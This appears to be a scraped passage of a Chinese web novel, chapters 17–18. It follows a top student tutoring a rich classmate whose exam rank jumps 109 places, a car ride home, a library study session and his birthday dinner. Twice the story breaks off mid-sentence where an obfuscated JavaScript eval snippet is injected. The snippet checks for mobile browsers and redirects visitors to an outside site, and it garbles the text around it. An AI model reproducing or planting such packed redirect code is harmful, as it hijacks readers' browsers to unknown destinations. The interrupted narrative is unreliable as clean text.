汤慈没听到盛毓的回答,怕他直接扔掉,于是她转过头,假装惊讶地对盛毓说:“不好意思,这是我的,刚才不小心放到你抽屉里了。” 盛毓淡声重复,“不小心?” 汤慈被他漆黑瞳孔盯得心虚,眼睛乱瞟着再一次说:“不好意思。” “既然放我这了——”盛毓懒怠垂眼,直接拆开了口服液的包装,“那我尝尝?” 汤慈扒着椅背的指尖蜷了蜷,“可以啊。” 金铭最爱凑热闹,“那我能尝尝吗?” 汤慈抿了一下唇,快速地计算了一下每瓶的价格,难过地说:“……可以吧。” 金铭笑嘻嘻伸手去拿,却见盛毓连带着盒子一起扔回了自己的抽屉。 “?” 盛毓叼着口服液,乜他,“想喝自己买去。” 17. 第 17 章 模拟考结束的当天,晚自习各科老师就开始加班加点批改卷子。 由于人手不够,每个班都抽出了几个成绩好的学生到办公室帮忙,一班抽到的人是汤慈和宋恪。 老许通知的晚,两人上了五分钟自习后才接到通知,一道去办公室。 夜晚气温骤降,走廊有北风吹过,汤慈将外套拉链拉到顶,问宋恪:“咱们要改哪一科啊?” “物理。”宋恪听她说话的声音低哑,关切问:“你是不是感冒了?我听你声音好像不太对。” 自从开始给盛毓补习,汤慈这段时间把高中前两年没说的话都说完了,她想应该是用嗓子过度引起的喉咙干哑,于是摇摇头,“应该不是感冒,我等会喝点水就好了。” 到办公室后,汤慈先把饮水机的烧水键打开,没等水热,就陷入了繁忙的改卷工作,彻底将嗓子那点不舒适抛诸脑后。 临近下课时,隔壁桌的数学老师转身对着老许发出一声惊呼,“嚯——你来瞧瞧这张卷子,看见这名字给我吓一跳!” 老许利索地收笔,转过头先是看到了字写得龙飞凤舞的卷面,眉心嫌弃地拧起,视线再上移,看到名字和分数,整个人震了一下,不可置信地问:“盛毓?!一百三十九分?” 汤慈听到两人的对话,翻卷子的动作停下,平稳的心跳止不住地加快。 其他批卷的老师同学也纷纷抬头,更有甚者直接凑到盛毓的卷子前观瞻。 “还真是盛毓,要命了,老许欸,你要发达喽。”有老师调笑。 有学生哀嚎,“这次题本来就难,怎么还杀出来个黑马啊,年级榜又要换血了!” 数学老师摇着脑袋,嘴里啧啧称奇,“还是许老师会教,这么难搞的学生也能给劝回来。” 他朝老许抬抬下巴,“你私下给我传授传授经验?” 老许摆摆手,脸上的笑容止不住,笑盈盈地看向汤慈,“盛毓能有这成绩,全靠我们班汤慈教的好。” 数学老师想起这事,一拍脑袋追悔莫及,“早知道补习这法子好用,我怎么也得给我们班那几个混世魔王安排上学习对子。” “不过我们班优等生应该没人愿意沾这个腥,他们能顾住自己我就心满意足了。” 老许脸上的笑容停了一下,转过头和汤慈说话时语气担忧,“你这次考得怎么样?有受到补习的影响吗?” 这次题于她而言不算难,汤慈温声安慰老许,“还可以,应该能维持原排名。” 她声音平淡无波,好像拿年级第一只是个普通的小事而已。 老许心放回肚子里,但还是翻了翻桌面上的日历,语气郑重地提醒她:“离寒假也没剩几个月了,期末考不论盛毓考成什么样,你都得搬回来,下半学期好好准备高考,知道吗?” 汤慈扫了一眼日历上鲜红的日期,点头说:“知道了。” / 即使有了数学成绩的冲击,盛毓剩下的科目成绩还是在办公室引起了不小的骚动。 汤慈没再参与讨论,只扯了张草稿纸,将盛毓的各科成绩都偷偷记了下来。 除去语文英语需要大量积累的两个科目,剩下的学科盛毓的成绩都可以称得上是逆袭。 听着大家的赞叹声,汤慈在心里估算了一下盛毓的排名,很轻地提了提唇角。 卷子一直批改到晚自习放学,宋恪跟着老师一起将试卷搬运到各个班的办公室,老许带着汤慈做收拾桌子的杂事。 办公室的门突然被敲响,邹强站在门外,殷切地朝办公室内探头:“许老师,我想问您点事。” 老许“哎”了一声,走到办公室门口问,“你有什么事?” 邹强朝汤慈的背影一瞄,低声问:“老师我这次考得怎么样?跟上次比有进步吗?” 老许回忆了一下他的卷子,再结合邹强这学期以来对学习的紧绷态度,于是缓声安慰道:“你这次成绩进步不少,这跟你一直以来的努力都脱不开关系,考了两天也累了,今天就早点回家去休息吧。” 一中这样的重点高中,“进步不小”可以说是吹嘘的资本,邹强嘴角咧得很大,声调一下抬高:“好的!谢谢老许!” 汤慈回到教室的时候,班里只剩邹强和两个男生没走,三人正坐在桌子上对题。 邹强的准确率很高,其中一男生羡慕道:“强哥,这次老许肯定要重点表扬你了。” “准备好迎接老许的鲜花了吗?”另一个男生拍邹强的肩。 老许崇尚浪漫主义,每次大考之后的班会,她会给在年级进步超过五十名的同学送一束花,这束花逐渐演变成了班里荣誉的象征。 邹强笑着抛着橡皮和他们闲扯,话里离不开成绩进步的得意,余光扫到汤慈的身影,他手上动作顿住,清清嗓子扬声问:“汤慈,我还没问你呢,盛毓这次考得怎么样?” 汤慈抬头时眼前有些晕,恍了一瞬才对上他的视线,但没有理会他的问话。 两个男生面露尴尬,邹强脸上挂不住,冷哼一声,“看你这蔫了吧唧的样子,是不是盛毓又交白卷了?” 他说完和两个男生一起笑起来。 汤慈目光平静地看着他们说:“你们只敢在背后说别人闲话吗?有本事等明天来了在盛毓面前说。” 邹强把橡皮捏得变形,目露凶光盯了她几秒,忽地又笑了一声,“这算说闲话?谁不知道盛毓就是个草包富二代,你真以为靠你补习几个月他就能起死回生了?” 汤慈手放进衣服口袋,捏着写着盛毓成绩的草稿纸轻舒一口气,决定不再和傻瓜缠斗,点点头说:“你说什么就是什么吧。” 邹强以为她在泄气投降,在她出门时又撇着嘴嘲讽:“汤学霸,我真心奉劝你一句,没本事就别硬揽活儿。” 汤慈没搭腔,倒不是嫌麻烦,而是她发现自己真的感冒了,喉咙的干哑已经转化为刺痛,头也开始痛起来。 楼道内的落地窗被风吹得嗡嗡响,风从窗缝灌进楼梯间,让汤慈打了个哆嗦。 她穿的是秋季校服,即便将拉链拉到顶,还是抵挡不住能穿透衣服的凉风,她洗洗鼻子抱起手臂,整个人缩成一小团快步出了教学楼。 校门外还稀稀拉拉停着几辆私家车,汤慈从中穿过走上人行道,转角处骤然起风,汤慈边咳嗽,边从口袋掏出手机来看,离最后一班地铁只剩五分钟。 汤慈随即小跑起来,没注意到台阶下那辆通体漆黑的轿车,因此当车内传出一声“汤慈”时,她没有防备紧急停住,鞋尖被凸起的瓷砖绊了一下。 她扶着绿化树站稳,蓦然回头,对上轿车晃眼的车灯,她眯起眼睛朝车内看了看,驾驶位一个中年男人正狐疑和她对视。 应该是听错了,汤慈摇摇头错开视线。 正当她转身要走时,后车座的门开了,一只骨节分明的手握着车门,随后盛毓从车内下来。 “你愣什么。”他脸色颇有些不耐,隔着几米的距离叫她,“上车。” 明明知道不合时宜,汤慈还是无法违抗盛毓的话,依言坐上车,她拿不准驾驶座上中年男人的身份,于是礼貌喊了一声,“叔叔好。” 老杨正透过后视镜悄摸打量她,冷不丁被她听打了个招呼,挤出个笑回了声你好。 盛毓没有互相介绍他们的意思,靠在靠背上,懒声朝驾驶座的中年人说了汤慈家的地址。 老杨忙不迭点头,从后视镜收回目光。 汤慈感受到车内凝滞的气氛,等车稳稳开起来,又对着老杨说了一句,“谢谢叔叔,麻烦您了。” 身侧传来一声低嗤,“不谢我?” 汤慈顿了顿,转头对着他软声说:“谢谢你送我回家。” 盛毓注意到她说话时仍保持着抱着手臂的状态,问:“很冷?” 汤慈不想再给他添麻烦,松开攥紧外套的指尖:“在外面有点冷,现在坐车里好多了。” 话才刚说完,盛毓将搁在手旁的冲锋衣外套扔到了她腿上。 “冷就穿上。” 车窗都紧闭着,车内温暖舒适,汤慈已经完全感觉不到冷,但头晕的症状却有加重的趋势,她像个生锈的机器人听从盛毓的指令,慢吞吞抱起冲锋衣,瓮声瓮气应了一声“噢”。 冲锋衣面料挺薄,罩在软趴趴的校服外面显得窝囊。 汤慈低头整理袖子衣摆的时候,校服口袋内的草稿纸掉了出来。 盛毓捡起来,指尖一错还未打开,就一脸紧张的汤慈抢了过去。 “机密文件?”盛毓好笑地问。 汤慈点头,模拟考的成绩单还未公布,她擅自誊抄的成绩确实算是机密文件。 车窗外一闪而过正在打烊的花店,汤慈的眼睛一下就亮了,凑近他一点神神秘秘地说:“明天你就知道了,还会有一个惊喜等着你。” “你准备的?” “不是。”汤慈摇摇头,双手撑着座椅向他嘱咐,“明天下午开班会你千万别迟到了。” 盛毓近距离看着她红扑扑的脸颊,没有说话。 老杨适时转头,恭敬提醒:“少爷,您别忘了,明天盛总要您跟他一起回老宅吃饭。” “你没听到她说的?”盛毓视线从汤慈脸上错开,指尖交迭着摩挲了一下。 老杨陪笑,“班会这种小事,让盛总给您班主任打个电话就行了。” 盛毓没什么情绪地扯了一下唇角,“盛总好大的排面。” 老杨讪笑着将目光转向汤慈,“小同学,你跟我说说班会有什么重要的事,我好跟盛总汇报。” 汤慈捏紧口袋里的草稿纸,咽下喉咙处的不适,小声说:“不是什么大事。” 接下来的路程,车里没有人再说话,汤慈穿着两件外套,全身被暖热的同时,眼皮也开始打架,不知不觉便睡着了。 再睁眼,窗外已经变成了熟悉的楼道,她倏地睁开惺忪的双眼,紧张问旁边的人:“我睡了很久吗?” 盛毓从手机上抽离视线,“车刚到。” 汤慈松了口气“哦”了一声,再次道谢后打开门下车,绕过车尾,才想起来身上还穿着盛毓的衣服。 她将冲锋衣脱了下来,然后敲窗等盛毓降下车窗后,把团成一团的衣服递还给了他。 盛毓接过后随手扔在座椅,然后朝她招了招手。 汤慈茫然靠近,离车窗还有一段距离的时候,盛毓的手背突然伸出车窗,贴上了她右侧的脸颊。 老杨脑中警铃大作,脸色紧绷着盯着后视镜内的场景,思忖着要不要报告给盛宏。 汤慈大脑宕机,僵直着身体抱紧书包,明明张开了口,却过了几秒才发出声音,“……怎么了吗?” “没发烧。”盛毓收回手,平淡语气带着些不解意味,“脸怎么这么红?” 神经骤然绷紧,汤慈因他轻飘飘的一句话混身发热,她在这一刻觉得自己就是发烧了,不然无法解释她此刻飘然晕眩的症状。 她结结巴巴地解释,“可,可能是,刚开始烧。” “那你回去记得吃药。”盛毓收回手臂,挑眉看向后视镜,“好看么?” 老杨讪笑着错开视线,假装没有感情的机器,快速驱车离开。 汤慈站在二楼楼梯间,目送轿车驶远,她拉开窗户,吹了一小会儿风才上楼。 / 一整天高三年级学生的心思都在模拟考的成绩上,为了不让学生因此浮躁,年级主任昨晚嘱咐阅卷的老师和学生将成绩保密,但仍挡不住学生们私下对答案。 紧张的气氛一直持续到最后一节班会前,江蝉再一次跑来骚扰写练习卷的汤慈,“你就偷偷告诉我成绩吧,我保证不告诉别人。” 她说完自己又摇头,“算了算了,还是别说了,马上就班会了,不差这几分钟。” 汤慈抿唇笑了笑,只说了一句,“放心吧。” 江蝉即刻复活,“呜呜呜我就在等你这句话!!快,趁着还有时间,咱们下楼买杯奶茶压压惊。” 汤慈合上笔帽,和她一道站起身,转头看到右侧空荡荡的座位时,目光黯淡了一分。 “盛毓翘课了?”江蝉回想上午才见过他,疑问道。 后门进来几个同学,汤慈怕碍着人,把椅子朝桌下推了推,“他请假了。” 这话被最后进门的邹强听到,他哼笑一声,“嫌自己成绩丢人才请假的吧。” 汤慈闻声抬眸,很轻地冲他笑了一下。 邹强拧着眉,嘟囔道:“被打击傻了。” 出了门,江蝉狐疑地看着汤慈,“我是看错了吗?你刚才看邹强的眼神怎么有点……怜悯?” 汤慈指尖轻快地搓着口袋内的内衬,抿着唇没说话。 上课铃声响起,老许抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029363|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一束洁白的剑兰走进教室,班里的气氛瞬间热烈起来,有欢呼声,也有猜疑声。 “咱班这次有人进步超过五十名了吗?谁这么牛?!” “没打听出来。” “好像是邹强,他兴奋一整天了。” “据说他在外面找了高校的家教,卯足了劲儿要赶超汤慈呢……” “超过汤慈不可能吧,但提高五十名确实有可能,我看他小测试几乎都是全对。” …… 不怪大家讨论得热火朝天,到了高三成绩都已经稳定,在这个节骨眼上能冲破五十名,难度堪比登天。 老许把花束放在讲台,等讨论声稍小后才敲了敲黑板。 “知道大家等成绩等得都急了,但依照我们班的惯例,”老许笑着说:“我先表扬一下这次考试取得重大进步的几个同学。” “周蕊,年级进步19名。” “张显,年级进步24名。” “曹敏敏,年级进步33名。” …… 说到这,老许故意停顿了一下,坐在邹强周围的同学试探着说出了“邹强”的名字。 老许笑容加深,看着邹强点头说:“邹强同学,你这次年级排名进步了47名,非常非常好!” 面对老许的赞叹,和周围同学的喝彩,邹强笑容却有些勉强,他清清楚楚记得,只有年级进步超过五十名老许才会买花来庆祝。 但这点疑虑,很快在同学的喝彩声中消散,邹强脸色涨红,假装谦逊地回应大家,目光止不住地朝讲台上那束剑兰瞟。 老许却始终没有将那束剑兰拿起来,等教室内喧闹平息下来后,她才缓缓开口,“这次我们班的成绩真是出乎意料的好,除了刚刚我提到的这几个进步很大的同学,我们班还有一名进步生。” 汤慈瞬间握紧了中性笔,鞋尖在地板上搓了搓。 老许的目光在偌大的教室环视,最终落在汤慈身边的空位上。 汤慈下意识屏住了呼吸,目光灼灼看着老许,她此刻像是坐在旁听席压抑许久的家属,等待法官的宣判。 “盛毓同学的本次成绩,”老许笑着看向汤慈,“在年级里一共进步一百零九名。” “我艹!!牛逼————” 教室内静止一秒,不知道谁率先喊了一声,像是点燃了炮竹的引线,教室内瞬间炸开了锅。 汤慈听着众人的惊呼声,唇边的笑意压不下去,只好垂头掩饰。 老许敲了敲黑板,脸上带笑地警告,“行了啊,说话文明点。” 汤慈指尖在平滑的桌面上滑动,抬眼时,看到邹强铁青着脸转头盯着她看。 她怔了一下,神色抱歉地用口型对他说:“不好意思。” 邹强没有理会她的好意,转身时椅子在凳子上发出刺耳的动静,但这点噪音却直接被热闹的氛围掩盖。 老许清了清嗓子,“可惜盛毓同学今天请假没来开班会,谁能帮他领一下花?” 周弋阳回头,点点汤慈的桌子,“汤慈,你帮毓哥上去拿?” 汤慈侧目看了一眼身侧的空位,点头说好,但她还没站起来,就听到身后传来笃笃的敲门声。 “要不还是我自己领?” 汤慈倏尔转头,看到穿着一身休闲西装的盛毓站在门外,注意到她的目光时,朝她抬了抬眉。 “你小子干什么神出鬼没的。”老许笑骂着,把那束剑兰抱起来朝他递了递。 盛毓双手插在西装裤的口袋,一脸古井无波地穿过教室接过花束后回到座位。 精美雪梨纸层层包裹的白色剑兰被他随手搁在桌上,偏头问汤慈:“这就是你说的惊喜?” 汤慈看着他无谓的态度,语气有些急,“这不仅仅是束花,还是你的荣耀。” 盛毓淡淡哦了一声,把花放进了她的怀里。 汤慈下意识接过来,摸了一下光滑的包装纸,“你不要吗?” 盛毓手肘搭在桌面,侧目看着她,“荣耀归我,花送你。” 夕阳落到一半,晚霞从窗户洒进教室,模糊柔和了他的轮廓,连带着他刚刚那句话也变得温和。 汤慈咽了咽嗓子,觉得虚无的发烧前兆又有重来一次的迹象。 接下来的会议,汤慈坐得端正,大脑却放空,好不容易挨到放学,后门被闻讯赶来的男男女女团团围住。 盛毓作为话题中心懒怠地靠着椅背,时不时地应付一句。 有女生趁乱提要求,“毓哥,这么大好事,你不请大家吃个饭吗?” “请客也是请有功的人啊,”周弋阳意有所指,“毓哥,你打算怎么感谢人汤慈。” 瞬间,所有人都朝汤慈投去目光,男生们嬉笑着出馊主意。 “最少得请人吃顿饭吧。” “只请吃饭太没诚意了,毓哥你打钱吧。” “打钱太功利,要不你问问人家想要什么,你满足别人一个愿望得了。” …… 被这么多人看着讨论,汤慈身体朝外撇了撇,低声说:“不用了。” 周弋阳看出她的局促,安慰道:“别不用啊,盛毓很大方的,趁机敲他一笔。” 汤慈拉上笔袋的拉链,眼角余光瞥了瞥一直没发话的盛毓,摇了摇头。 她手忙脚乱地收拾东西,仓鼠一样,被一群凶神恶煞的人类围观,下一秒就要逃窜离开。 盛毓看着她鬓边那绺碎发,随动作翘来翘去,心口仿佛被挠了挠。 刚收拾完的笔袋,忽地被人拿走,汤慈懵然转头。 盛毓指尖把玩着笔袋拉链,挑起眼睛问她,“再给你一次选择的机会,真不用?” 清冽磁性的嗓音响在她的耳畔,即有不耐,又有轻佻。 汤慈指尖蜷起,耳尖难以自控地发热,细声细气地问:“什么愿望都可以吗?” 盛毓闭了闭眼睛,说“嗯”。 看两人默契地一问一答,四周看热闹的同学兴趣更盛。 有胆子大的男生嘴快:“毓哥,要是汤慈要你当男朋友你也答应吗?” 汤慈脊背僵住,脑袋越埋越低,支支吾吾辩解,“我……没有那个意思。” 可惜她如蚊蚋一般的声音被起哄声掩盖,没能传播出去。 盛毓指骨轻敲桌面,看着汤慈乖顺的睫毛掀起,哂笑道:“你先问问看。” 18. 第 18 章 一男生爆发出响亮的一声“我艹”。 男生们怪腔怪调开始起哄,话题一旦走偏,拉都拉不回来。 “盛毓这是被拿下了?” “之前动员大会的时候不是都官宣了吗?” “少造谣啊,”金铭肩膀撞了一下口无遮拦的男生,“毓哥只是只是助人为乐。” 盛毓没有理会其他人的调笑,眉眼懒怠地耷着,手肘撑在桌面,有一下没一下地把玩着汤慈的旧笔袋。 几秒钟后,他催促:“想好了么。” 汤慈揉着鼻子点头,认真看着他说:“十一假期你跟我去图书馆补课吧,你的语文作文写得太差了。” 热闹的人群陷入一阵诡异的静默。 周弋阳最先反应过来,噗嗤笑出声,“毓哥,你这回是真栽汤慈手里了。” 金铭张了张嘴,半天说了一句,“不愧是年级第一的书呆子。” 男生们哈哈笑开,叽叽喳喳地凑到盛毓跟前调侃,盛毓也被汤慈的脑回路逗笑,平直的唇角挑起,缓缓拉动笔袋上的拉链。 刺啦的动静仿若锯木头,一下一下折磨汤慈的神经。 汤慈以为他后悔,小声提醒:“你自己答应什么愿望都可以的。” “假期给我打电话。”盛毓打了个哈欠,从座位上站起来,下颌朝周弋阳一抬,“走吧?” “走!我妈在家都等急了,非要我喊你上家里吃饭。”周弋阳不再和一旁的男生扯皮,拿着手机跟着盛毓出了教室。 看热闹的人很快散尽,汤慈看着盛毓恢复空荡荡的座位,心想原来他只是因为要去朋友家吃饭才回的学校。 她默默将那束剑兰收进桌斗,明白学习进步对盛毓来说只是件无足轻重的小事。 出了校门,周弋阳看着路边停着的轿车,不解地问盛毓,“你怎么不在车里等,专门跑上楼来接我啊?” 盛毓冷嗤一声,“你也配?” “那是为什么?”周弋阳眼睛一转,乐道:“难不成是专门上楼领花来了。” 盛毓眉心轻拧了一下,从口袋里掏出打火机一抛,“拿这个。” 周弋阳看他理所当然的样子,嘀咕,“不就是打火机么,车里不也有。” 一直到上了车,一直沉默的金铭忍不住问:“毓哥你刚刚什么意思?要是汤慈那个书呆子要你做她男朋友,你真答应啊。” 盛毓一手降下车窗,一手拨动打火机砂轮点烟,“她不会要这个。” “汤慈满脑子学习,哪有谈恋爱的心思,”周弋阳笑道:“不过还挺可爱的,不知道汤慈喜欢什么类型的男生。” “跟她一样的书呆子类型呗,”金铭耸耸肩,“怎么,你感兴趣啊?” “多乖啊,白纸一样,谈起来应该很有意思。”周弋阳自上学期分手,还是第一次对其他女生有感觉。 盛毓自青烟中撩起眼皮,咬着过滤嘴仍发音清晰,“你没戏。” / 几场秋雨下过,十一假期,天气迎来短暂的回温。 汤慈在假期前一天将作文补习的内容整理出来,查看日历时,才发现明日是她复查的时间,只好约盛毓下午去图书馆。 假期的医院人满为患,汤慈一早起床去医院科室取了号,前面已经排了三十几个人,就连等候区的座椅也没了空位。 轮到她面诊还需要很长一段时间,汤慈背着书包去了楼梯间。 楼梯间空荡明净,门一关上就将大厅的噪杂屏蔽在外,她就近坐在台阶上拿出课本开始复习。 汤慈学习时专注,等哒哒的脚步声走到身后,她才意识到有人下楼。 虽然她没占多少位置,但楼梯间本就狭窄,为了方便别人通过,汤慈还是往墙角挪了挪,最大限度让出了空间。 “谢谢。”宋敏看着女孩乖巧的身影笑着道谢,余光瞥见汤慈的脸,匆匆的脚步便顿住,“你是那天晚上跟盛毓一起来急诊科的小姑娘?” 汤慈闻言抬头,看清宋敏的样貌,遂抱着书包站了起来,想到她那天拙劣地装睡早被人看穿,她不好意思地低声说:“是的。” 宋敏瞧出她的局促,轻轻拍了拍她的手臂,温声道:“你今天怎么又来医院,是身体哪不舒服吗?” 汤慈因她柔软的语调而鼻腔发酸,瓮声说:“一点……小毛病,不要紧的。” 宋敏点点头,从口袋里拿出一张名片交给她,“我是心外科的医生,你下次来医院有什么急事可以给我打电话。” 汤慈连忙摆手,后背贴上墙壁:“不用了,这太麻烦您了。” 宋敏不由分说将名片塞到了她手中,“这是以阿姨的身份给的,你是小毓的朋友,那就是阿姨的晚辈,我照拂一下不过分。” 汤慈无措地拿着薄薄的名片,低眸看了一眼上面的名字,说:“谢谢宋医生。” “小事情。”宋敏眉心蹙着,思忖几秒钟,又叹声问:“小同学,我能问问你小毓在学校的情况吗?” 汤慈说:“您是指那方面?” “健康啊学习啊,什么都行。”宋敏抬抬手,满脸无奈:“他不怎么回我的消息。” 汤慈想了想,说:“这次模拟考他成绩进步了一百零九名。” 宋敏神色愣怔,摇头苦笑:“这是他妈妈去世后我第一次听到关于他学习的消息,以前听他妈妈说他年年都考第一。” 汤慈抱着书包的指尖压紧,喉咙也随之紧缩,她犹豫了几秒轻声问:“所以他是因为妈妈去世才变成现在这样的吗?” 宋敏闭了闭发红的眼睛,哽咽着说:“任谁看着妈妈在眼前自杀都接受不了,何况当时小毓才初中毕业,整个暑假他都把自己锁在房间里面……” 汤慈脑中嗡地一声炸开,太阳穴止不住突突直跳。 “对不起,我不该跟你说这些。”宋敏很快调整好情绪,恳切地看着她,“阿姨就是想拜托你,如果发现他有不对劲的地方,就给我打一个电话,好吗?” / 汤慈从医院出来时,时间已经过了中午十二点。 刚刚在医院内忙着检查顾不上其他,一出院门闻到道路两侧的餐馆散发出饭菜香气,汤慈才觉出饿。 她随便找了家面馆吃饭,等餐时打开手机地图查去图书馆的路线,最短的线路坐公交也要一个小时。 和盛毓约的下午两点到图书馆,汤慈吃完饭没回家,直接上了去图书馆的公交。 市立图书馆的人一直很多,每逢节假日更甚,汤慈到自习区的时候,一时间没有找到相邻的两个空位,只好站在窗前边看书边等位置。 墙上挂着电子钟,秒数不停跳动,时间逐渐逼近十四点整,汤慈朝图书馆大门口张望了一圈没看到盛毓的身影,遂给他发去了信息。 【你到了吗?】 【我在一楼的公共自习区。】 短信发出去后,她数了数自己所站的落地窗和自习区还隔着四五个瓷砖,于是又补充一句。 【——旁边的落地窗,现在正在等位置。】 汤慈低着头认真打字,信息刚发出去,她听到大门处传来一阵骚动。 她拿着手机抬头,看到盛毓正迈着大步走进图书馆,他穿着利落地黑色风衣,头发理得很短,露出英挺的眉眼。 入口处的女孩们纷纷侧目,就连自习区也有不少人抬头朝门口的方向瞥。 汤慈离得不算近,只大概看清盛毓落拓的身型,至于神情,不用猜也知道是生人勿近的冷然。 她只是愣了两秒,盛毓的目光就隔着偌大的大厅精准定位到她身上,随即朝她招了招手。 汤慈看着几步外的自习区刚空出来的两个位置,拿出手机给盛毓发消息,想让他来这边。 打开手机却先接到了盛毓的催促:【过来。】 汤慈扫了眼目前还没被占据的空位,快步跑到了盛毓身旁,扯住他的衣摆就要往回走,“快跟我走,那边正好有两个空座——” 她话没说完,被盛毓揪住她书包肩带的动作打断。 盛毓连人带书包地把她揪回原地,朝楼上睇了一眼,“去VIP。” 汤慈皱了一下鼻子,“VIP室很贵。” “公共区很吵。”盛毓不由分说地上了扶梯。 汤慈注意到他眼下的青色,没再坚持跟了上去。 图书馆三楼的VIP室紧邻落地窗,用玻璃隔成单间,盛毓已经在网上预约好房间,直接刷码进入。 单间内有一个木质双人桌,和两个紧挨着摆放的人体工学椅。 盛毓随手将手机搁在书架,拉开其中一个椅子坐了下来。 汤慈看着那张不大的书桌在门口磨蹭了一会儿才过去,她挺直脊背立在桌前,一口气将书包内的学习资料都拿了出来,然后用公事公办的态度说:“来吧。” 相比于她的紧绷,盛毓显得懒散得多,他长腿伸展在桌下,掌心撑着下颌喉咙滚出一个“嗯”。 听着他懒怠的声线,汤慈合理怀疑平常这个时间他一定在睡觉。 她抬眸看了一眼紧闭的窗帘,伸手将窗帘哗啦一声拉开,黄澄澄的阳光瞬时充满整个空间。 汤慈满意地勾起了唇角。 盛毓皱眉“啧”了一声,“刺眼。” “不好意思,我怕你困。”汤慈讷讷道歉,又很快将窗帘拉上。 “瞎了更麻烦。”盛毓平声道。 “……”汤慈咽了咽喉咙,把书翻开放到他面前,“学习吧,我们先来看议论文都有哪些类型……” 两个座椅本就挨着,加上汤慈讲解时会时不时观察盛毓的反应,因此不知不觉和他越靠越近。 讲完一个难点后,汤慈无意识地舔了一下干燥的嘴皮,抬眸看着他问:“你都理解了吗?” 盛毓目光从她泛着水光的淡色唇瓣移到小巧的鼻梁,视线上移,看到她那副笨重的眼镜,镜片反着光。 汤慈察觉到他的视线,指尖快速地推了推镜框,又讷声问了一句,“是我讲得不清楚吗?” 盛毓仍不回答她的问题,抬手轻挑地点了点她的镜片,用恶劣地语调吩咐,“眼镜摘了,晃得我头晕。” 汤慈大脑卡壳了一秒,懵懵摘下眼镜,唇瓣抿了一下又松开,细声细语地问:“现在还晕吗?” 盛毓意外地挑了挑眉,指尖轻点着桌面问:“今天怎么这么听话?” 汤慈攥紧镜框,倏地站起身,生硬地转移话题:“你先看例文,我去趟卫生间。” 到了卫生间也只是进去转了一圈,汤慈在洗手台前洗了把脸,等皮肤上的热度降下去后才回去。 单间外开着一家连锁咖啡店,以优秀的品质和低廉的价格著称,汤慈想盛毓大概是起床气未消才故意逗她,于是去收银台点了两杯热拿铁。 她端着拿铁回到单间时,盛毓正懒懒地翻动书页,也不知道看进去没有。 汤慈坐下后,仔细看了咖啡杯上的标签,将无糖的那杯拿铁递给他。 盛毓抬眸接过:“谢了。” 咖啡因起效很快,汤慈感觉自己比刚来时更加精神,说话的语速变快后,喝咖啡的频率也随之增多。 原本放在左手边的咖啡杯,拿着拿着就顺手放到了右手边,和盛毓的那杯放在了一起。 所以汤慈拿错杯子的时候并未察觉,吸管戳到唇边,才听盛毓悠悠道:“这杯是我的。” 汤慈动作僵住,双手捧住杯子,小心翼翼放回了桌面,睁得很圆的眼睛快速瞄了他一眼,又收回来。 “我没吸。” 盛毓喉咙滚出一声低笑,“要我夸夸你?” “不是。”汤慈赧着脸摇头,“我去给你换个吸管吧。” 盛毓却直接从她手中抽走了咖啡杯,“有直饮口。” 汤慈“噢”了一声,伸手将她嘴唇碰过的吸管从杯子上抽了出来,俯身扔进垃圾桶时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035367|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手背用力蹭了一下嘴唇。 被隔绝在窗帘外的太阳悄悄下沉,橙色的霞光从窗户缝隙挤进来,在桌面上划出一道绚烂的光斑。 书架上的手机嗡嗡震动起来,连带着那道光斑也跟着颤。 汤慈抬了一下眼,看到是盛毓的手机在响,继续低头修改试卷。 盛毓捏着后颈接通电话,“什么事?” “毓哥,出来吃饭。”金铭快速报了一个餐厅的名字,“弋阳也在,提前点好你爱吃的菜了。” 盛毓听出电话那头有女生撒娇的声音,眉峰不耐地抬了抬,忽地又听到电话外传来一声轻微的“咕噜”。 他低眸扫了一眼汤慈认真的侧脸,对着手机听筒说:“现在去。” 汤慈等他挂断电话才停笔,仰着脸看他:“你先走吧,我把卷子改完再走。” 盛毓躬身将卷子从她手中抽了出来,“一起去,菜点多了。” “哦……”本着不浪费的原则,汤慈答应了。 / 金铭订的是一家老牌餐厅,沿着雅致的楼梯上到二楼,才到包间的区域。 盛毓推开包间的门时,里面一片漆黑。 跟在身后的汤慈朝包间内看了看,问:“是走错了吗?” 她的话音刚落,伴随着“砰砰”的礼炮声,包间内骤然亮起灯光,照亮身上挂满彩条的盛毓。 “毓哥!!生日快乐!!” “生日快乐!!” “毓哥天天开心!!” …… 室内男孩女孩们情绪高涨地对门边的盛毓喊出祝福,盛毓拨着身上的彩条进门,嗓音一如往常般淡然:“谢谢。” 乔熙从座位上站起身,朝盛毓递过来一个包装精致的礼盒:“盛毓,生日快乐。” 盛毓下巴朝已经堆满礼物的沙发上点了点,“放那吧。” 乔熙尴尬地攥紧了礼盒,走去沙发时看到盛毓身后的汤慈,讶异地挑了挑眉,“汤慈?你怎么也来了?” 盛毓侧过身,让汤慈进来,“我叫来的。” 周弋阳拉开身边的空椅,“汤慈,来坐这儿。” 除了主位,就只剩周弋阳旁边的位置还空着,汤慈感激地朝周弋阳笑了笑,背着书包坐了过去。 盛毓扯了一下唇角,从她身后绕过时,掌心在她的椅背上搭了一下。 金铭见人都到齐,招呼服务生上菜。 汤慈是真的饿了,坐下后就沉默吃饭,没有参与席间热闹的话题,一口气吃得差不多后,她才端起茶杯喝茶。 